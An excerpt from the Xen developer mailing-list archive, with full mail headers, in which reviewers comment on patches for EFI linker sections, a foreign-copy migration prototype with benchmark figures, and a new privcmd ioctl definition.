        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=SuWt6tWDnRraObhWqZWhDbPPPU4ZOgcLZcE9EY8FRmc=;
        b=JWWBNbSpdkml8qfxxHxrsEMI62HLx1kX8Q7D+YBtvhGZu/mWdFO2TiPBQk6qeXw5/Q
         JOXKtyFN5lFtNiEPbyvL3vsiMJVT8Ii52x96bS/iD6+hR0QlxXAwyJpIvcoyjrt7x6HH
         ZxWcaWwnEIZXsNoZ19wW89MB0RH0edJjXUED4SaOKTz7Z0uk/iXWM5/3nuZM+q8Irkvs
         is8EeDh9Dkp8U/QJ/JTS6PyMlDrWhmHoyt3TLrWvSf+Xc/lu/IDgkH2ae3kQ6xP4VoTd
         b19fsyNwR4iUm9T3DwDl0dZhPMF+/BwI6K1C332AppF2QXfYuzbiVhrDPKmMQvBomYt0
         K/Sg==
X-Forwarded-Encrypted: i=1; AHgh+Ro0Jl7ZgRmxP6TFWDh4G6nih+Or0gaFaOOt26flmtVxjLMO9aPUi+V2xSpT/tkIo/q8SZ/fB+/R7LY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YygC60NsTOOBpkFQnBawU85sjh9Iw9n1BDvr6kj6eckZM1Suu4I
	yI+o7SUAhiB2MjDQJoAF186V3wJLpt0i3X9gSyGyIF6feZQ9b2cMHVRjjdRyKi/5tw==
X-Gm-Gg: AfdE7clXIqXhzEdhnrT9GRe9FahTi4K02HS92BgtEDtdZYWFPUKtWJ9dHiXTCeXUAjY
	TfTBVAXqo3lbju3m6KBvjozExlW04V7g9+WJ2doQww80Tthq2gX/IHVfSV0RiUv9QqwS5jXDbvV
	CUF8tWyQYNXP6wHbGEHOgqOhNUdS8RWizdUHjcu3BxC/iLyE1FlgBAit+aln4mfa+XzX8mF63At
	A+75WA1KD1Lxw+5lGBaGNZJ/4XS4i6UP+VcuTQ34/36qH4vPuyT2BL3HDjF6GgtHcySUUMfTUCe
	e3XTVQ9ERpdQPuu+N502TL144zdjD61b88oQy9HRFxDVQxiHgR7AG8V9AD1a+W71mi3Y7Zw77CT
	I8ZBT8gk1IMOFkD8vFwzRn5lfiwvwNI7iPTJqDZoc1LsekybWLkb0klvW+JjhJwgW/3qM3nVrSz
	KoQLF47FOe3z/P0yYPgwpnroFBMb6Uo1v90lW741f8xrX2PYRD82ej8GzqKZqrl/10RphqL24IC
	q/A
X-Received: by 2002:a05:6000:2287:b0:476:5c84:e830 with SMTP id ffacd0b85a97d-47df071e53dmr2931859f8f.9.1783518919445;
        Wed, 08 Jul 2026 06:55:19 -0700 (PDT)
Message-ID: <598f9701-6fc7-4a7e-a26c-6d60b1f7e667@suse.com>
Date: Wed, 8 Jul 2026 15:55:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/4] x86/efi: discard multiboot and PVH support for PE
 binary
To: Frediano Ziglio <freddy77@gmail.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Frediano Ziglio <frediano.ziglio@citrix.com>, xen-devel@lists.xenproject.org
References: <20260706104557.430097-1-frediano.ziglio@citrix.com>
 <20260706104557.430097-3-frediano.ziglio@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507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GfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260706104557.430097-3-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783518920-4D50C7C5-84690848/0/0
X-purgate-type: clean
X-purgate-size: 694

On 06.07.2026 12:45, Frediano Ziglio wrote:
> From: Roger Pau MonnÃ© <roger.pau@citrix.com>
> 
> Multiboot and PVH booting are not supported for PE, hence discards them
> in the linker script when doing a PE build.
> 
> That removes some relocations that otherwise appear due to the usage of the
> start and __efi64_mb2_start symbols in the multiboot2 header.
> 
> Section discarding is not done updating DISCARD_SECTIONS definition as the
> change is specific for x86.
> 
> No functional change intended.
> 
> Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
> Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:55:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:55:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357046.1611552 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSkX-0004iH-2k; Wed, 08 Jul 2026 13:55:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357046.1611552; Wed, 08 Jul 2026 13:55:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSkW-0004iA-Ue; Wed, 08 Jul 2026 13:55:40 +0000
Received: by outflank-mailman (input) for mailman id 1357046;
 Wed, 08 Jul 2026 13:55:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f420331a900080a8@swg.vates.tech>)
 id 1whSkV-0004f5-4Q
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:55:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSkU-008XJP-2d
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:55:38 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f420331a900080a8@swg.vates.tech>)
 id 6a4e56d8-5cb7-0a2a0a5109dd-0a2a4502a61e-10
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:55:37 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f420331a900080a8@swg.vates.tech>)
 id 6a4e56d9-5a27-0a2a45020019-b9ff1c129b47-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:55:37 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f420331a900080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 13:55:33 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id B37D181FAF;
 Wed,  8 Jul 2026 15:55:32 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=M8j0vMD3TJ3DnMviVILGwUtlnQI2mLHYx6a1dXB4nqs=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=W/qNM/+U1Iigb4UBvqkwoe/VpfZaLvSYJmPMOlMyejBG/D0/unVN1+3AEo8yjr45yx1zCzsyk
 0541rjdykvpnbfao6jhOyoiLY/9b0gEQWSujKruNozuIsIJ55T2Y6LtZsO2GSlX/KHcETODU6ZC
 EGpLB94u/OiuhQa/vBGa5iOnIIW+0RcpEJFsR4kA4rVFri4a+9wFNa4Mkv8SWWC3gh111CQvSAZ
 P6c6440ylwb2pi2t9TGrR8OiNBzWWozVvuLPLE3qLtymMhaCP3P/mMLBLHHEEO0E7q6hBTtS44U
 Sazt2urkzu11TBUHIqRhcSB2jq3pPVmSpGtcmhiefAFg==
X-Zone-Loop: 77e3bd23bb02a9a44f929343fb7333db50de5eafe95f
x-campaign-type: default
x-transaction-id: 85d39dd3-3ccc-41f3-9058-88b946b07325
x-swg-uid: 01-311f3b39-e3c4-4995-bb6f-4337926173af
X-Mailer: Sweego
Message-ID:
 <1783518933.8631fc262581453bbf619ec5b2062170.19f420331a900080a8@vates.tech>
x-swg-bid: 1783518933.8631fc262581453bbf619ec5b2062170.19f420331a900080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 15:55:32 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6 11/16] PoC: libs/guest: use foreign copy during
 migration
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-12-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-12-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.42f.ffc384a7f4c1bfc1.19f42032f9c.bd0ca22a4286ae97=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783518932892
X-purgate-ID: tlsNG-720697/1783518937-545187C5-3E7D3385/0/0
X-purgate-type: clean
X-purgate-size: 1682

---=Part.42f.ffc384a7f4c1bfc1.19f42032f9c.bd0ca22a4286ae97=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


A note about the subject, a "PoC" or Proof-of-concept to me isn't
a patch that can be accepted, especialy if is a patch to an existing
library=2E

On Fri, Jun 19, 2026 at 02:04:56PM +0100, Frediano Ziglio wrote:
> From: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
>=20
> ministat confirms the improvement:
>=20
> ```
> x baseline
> + foreigncopy
>     N           Min           Max        Median           Avg        Std=
dev
> x  20     1=2E1306997     1=2E1447931     1=2E1356569     1=2E1365742   =
0=2E003242175
> +  20     0=2E4311504    0=2E44180303    0=2E43616705    0=2E43600089  0=
=2E0031094689
> Difference at 95=2E0% confidence
> 	-0=2E700573 +/- 0=2E00203311
> 	-61=2E639% +/- 0=2E133355%
> 	(Student's t, pooled s =3D 0=2E00317652)
> ```

There's been some comment about this stat in previous version of the
series, and the description is still the same=2E Could you describe how
the stat have been generated, and what the number mean?

Also, what's the different between "baseline" and "foreigncopy"=2E I've
only had a glimpse at this patch, and it just looks like the code have
been moved to a different part of the library, with somehow less lines
of code=2E

>=20
> The tests pass too, which means that it has correctly migrated all guest
> memory=2E

Which tests?

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.42f.ffc384a7f4c1bfc1.19f42032f9c.bd0ca22a4286ae97=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:59:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:59:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357061.1611561 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSo3-0005b3-H7; Wed, 08 Jul 2026 13:59:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357061.1611561; Wed, 08 Jul 2026 13:59:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSo3-0005aw-DI; Wed, 08 Jul 2026 13:59:19 +0000
Received: by outflank-mailman (input) for mailman id 1357061;
 Wed, 08 Jul 2026 13:59:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8@swg.vates.tech>)
 id 1whSo2-0005aq-Hk
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:59:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSo1-000Jp1-UM
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:59:17 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8@swg.vates.tech>)
 id 6a4e57b1-5cb7-0a2a0a5109dd-0a2a45088f14-22
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:59:17 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8@swg.vates.tech>)
 id 6a4e57b5-edec-0a2a45080019-b9ff1c12a26b-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:59:17 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4206944f00080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 13:59:15 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 972EF80A0E;
 Wed,  8 Jul 2026 15:59:14 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=1m1kfCg3diTsIFrGX2705amfVpZRIDk/mxfHERcK57k=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=bnpU2XuslRE1m69FuA6U5BWQvyN6xbk/ZPnDOTgNMOr92sJWGEsVmb8D9KOGJbxHIecb0P1or
 a5vSn1qgPkcgGF8BZeiZp8vQlZuLMKDgcbkqLzsNEXf525U7FWUxQ2z8rd7UlaKNik5sMYVLJ8T
 pUuXBbBbKZfQAFvfndYHf5e6vNplVQqGzGDbJu82VndlSNsuC4EO4dPoRRqJ1xiiX4bDZRhuqpa
 kBbgqyXYbMraLRzx0bxcM4dopQ1zjtIp5wukkFzVnQIZsPNxg8A9GZhzayP3nu1+n/qFP0NldQy
 lN7EqtmNeSmZaQtrRwiDdv5OFqWsjOK9EvFyyGQW3Bmw==
X-Zone-Loop: 2ec0a063ae0956d05e9566f8647c4c1f7690c8a69968
x-campaign-type: default
x-transaction-id: 2ee19b2d-22df-4aa8-a9be-734a7cb9db1b
x-swg-uid: 01-60c75314-bfbc-46c2-b947-e9ca88e33080
X-Mailer: Sweego
Message-ID:
 <1783519155.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8@vates.tech>
x-swg-bid: 1783519155.8631fc262581453bbf619ec5b2062170.19f4206944f00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 15:59:14 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 13/16] privcmd: Add definition for new Linux privcmd
 to access new Xen hypercall
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-14-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-14-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.430.744bfcd61c1ad16b.19f42069258.7ad6f9a5f18125ba=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783519154776
X-purgate-ID: tlsNG-c1860d/1783519157-A39353FC-ABDA58E5/0/0
X-purgate-type: clean
X-purgate-size: 1813

---=Part.430.744bfcd61c1ad16b.19f42069258.7ad6f9a5f18125ba=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Fri, Jun 19, 2026 at 02:04:58PM +0100, Frediano Ziglio wrote:
> diff --git a/tools/include/xen-sys/Linux/privcmd=2Eh b/tools/include/xen=
-sys/Linux/privcmd=2Eh
> index 607dfa2287=2E=2E7a3c41308b 100644
> --- a/tools/include/xen-sys/Linux/privcmd=2Eh
> +++ b/tools/include/xen-sys/Linux/privcmd=2Eh
> @@ -100,6 +100,14 @@ typedef struct privcmd_pcidev_get_gsi {
>  	__u32 gsi;
>  } privcmd_pcidev_get_gsi_t;
> =20
> +typedef struct privcmd_foreigncopy {
> +	domid_t dom;          /* Foreign domain=2E */
> +	__u16 dir;            /* Direction,  0 from, 1 to=2E */
> +	__u32 num;            /* Number of pages to copy=2E */
> +	const xen_pfn_t __user *pfns; /* Array of pfns=2E */
> +	void __user *buffer;  /* Buffer to copy to/from=2E */
> +} privcmd_foreigncopy_t;
> +
>  /*
>   * @cmd: IOCTL_PRIVCMD_HYPERCALL
>   * @arg: &privcmd_hypercall_t
> @@ -121,6 +129,8 @@ typedef struct privcmd_pcidev_get_gsi {
>  	_IOC(_IOC_NONE, 'P', 7, sizeof(privcmd_mmap_resource_t))
>  #define IOCTL_PRIVCMD_PCIDEV_GET_GSI			\
>  	_IOC(_IOC_NONE, 'P', 10, sizeof(privcmd_pcidev_get_gsi_t))
> +#define IOCTL_PRIVCMD_FOREIGNCOPY				\
> +	_IOWR('P', 11, privcmd_foreigncopy_t)
>  #define IOCTL_PRIVCMD_UNIMPLEMENTED				\
>  	_IOC(_IOC_NONE, 'P', 0xFF, 0)
> =20

I don't think I can accept this patch until the changes have been added
to Linux=2E Also, I think it would be fine to squash this
changes into the patch that start using this new hypercall=2E


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.430.744bfcd61c1ad16b.19f42069258.7ad6f9a5f18125ba=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 14:04:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 14:04:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357069.1611570 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whStQ-0007Bb-3X; Wed, 08 Jul 2026 14:04:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357069.1611570; Wed, 08 Jul 2026 14:04:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whStQ-0007BU-09; Wed, 08 Jul 2026 14:04:52 +0000
Received: by outflank-mailman (input) for mailman id 1357069;
 Wed, 08 Jul 2026 14:04:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1whStO-0007BM-F3
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 14:04:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whStN-000LEt-Iu
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:04:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4e58ed-5cb7-0a2a0a5109dd-0a2a4504e5ba-48
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:04:49 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4e58fb-a01d-0a2a45040019-cddcb483371e-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 16:04:44 +0200
Received: from pps.filterd (m0279873.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 668C3Q4h2667378
 for <xen-devel@lists.xenproject.org>; Wed, 8 Jul 2026 14:04:43 GMT
Received: from mail-pl1-f197.google.com (mail-pl1-f197.google.com
 [209.85.214.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f99hgugak-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 14:04:42 +0000 (GMT)
Received: by mail-pl1-f197.google.com with SMTP id
 d9443c01a7336-2cae455cf6dso13805815ad.2
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:04:42 -0700 (PDT)
Received: from localhost ([151.243.38.149]) by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2ccc9bdcbe2sm29180235ad.9.2026.07.08.07.04.35
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 07:04:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:Mime-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:References:Cc:To:From:Subject:Message-Id:Date:Content-Transfer-Encoding:Mime-Version"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	7S+MjchcQqeSwjWf/6h1QHGeCWnNy62k3EwNXzSfzYE=; b=XYn5xS7iC7VCcWix
	xhnhTIcvDNsc1/nvfBhoPlNbOhiej2Avy11JpIjojoQiY5W7VaF6F64qB174NOCl
	2CQumGJy+kTFU2ACISEHy1qwarBGDEfgE0UKgxgCq12USRJvImgwzKRpvwoihH4a
	E8Dc1MurOOAeC6VGsIkChHnSuAel5oo0Yf4wS7G8TILVblGK+LApBlJNmAFhJrE3
	iMNn1EO5gr+PsJHXUPL5j/Z3LK24ZSi7OEIPpG/qFsg48yuKx+nfFFww6QPfWnLo
	FZxPnOLImbYNSBpBGfMHvs2t6mdaDaMv4RClDsBsjH5NqC5WGizNkXg9m+Uo2Pue
	d726+Q==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783519482; x=1784124282; darn=lists.xenproject.org;
        h=in-reply-to:references:cc:to:from:subject:message-id:date
         :content-transfer-encoding:mime-version:from:to:cc:subject:date
         :message-id:reply-to;
        bh=7S+MjchcQqeSwjWf/6h1QHGeCWnNy62k3EwNXzSfzYE=;
        b=MfZt2dPTIk67jwErbWEsBuJdShLrzCthsLiy5lWZ92poo8JEoisyHclO76Y+9I+IgT
         +RtdVwX0+IzZNvgtJcnAZqTYheJ0jb7j26pdpzFWdbDCia21ymOJ6UKhIJt6TOlP9TqV
         GSI/Bay4ZgGFB2HssuPrnriWQW5+AKcjGd/6hx0gfMthYka4BLF2jW0xD6GnytQFw7Mz
         PBusL15pvnLQ7OB4CzGftFqUj+EN+88uQXjfPsUn+3D7YxYm/nIkEIPRdVf61A8Sxk2a
         axJziiN2d/uF6HF2iHkZl70Lxx4/er+Ue5zQcFeP8TuCXtpOr9SGN22sUC2nhYLWYuko
         AuTQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783519482; x=1784124282;
        h=in-reply-to:references:cc:to:from:subject:message-id:date
         :content-transfer-encoding:mime-version:x-gm-gg:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to;
        bh=7S+MjchcQqeSwjWf/6h1QHGeCWnNy62k3EwNXzSfzYE=;
        b=ERma8QBYX/eSVutooZQ2jvof9BYtSZzOFsUhfkGZR4HK95UbDVtc1VtXEREhM5EOhW
         pdOYT5R6NiK/912e4jcnNsTjF8QeLY6fQYtwTdl0A1//cVSg7Zxd13+FNs2qohluoRB4
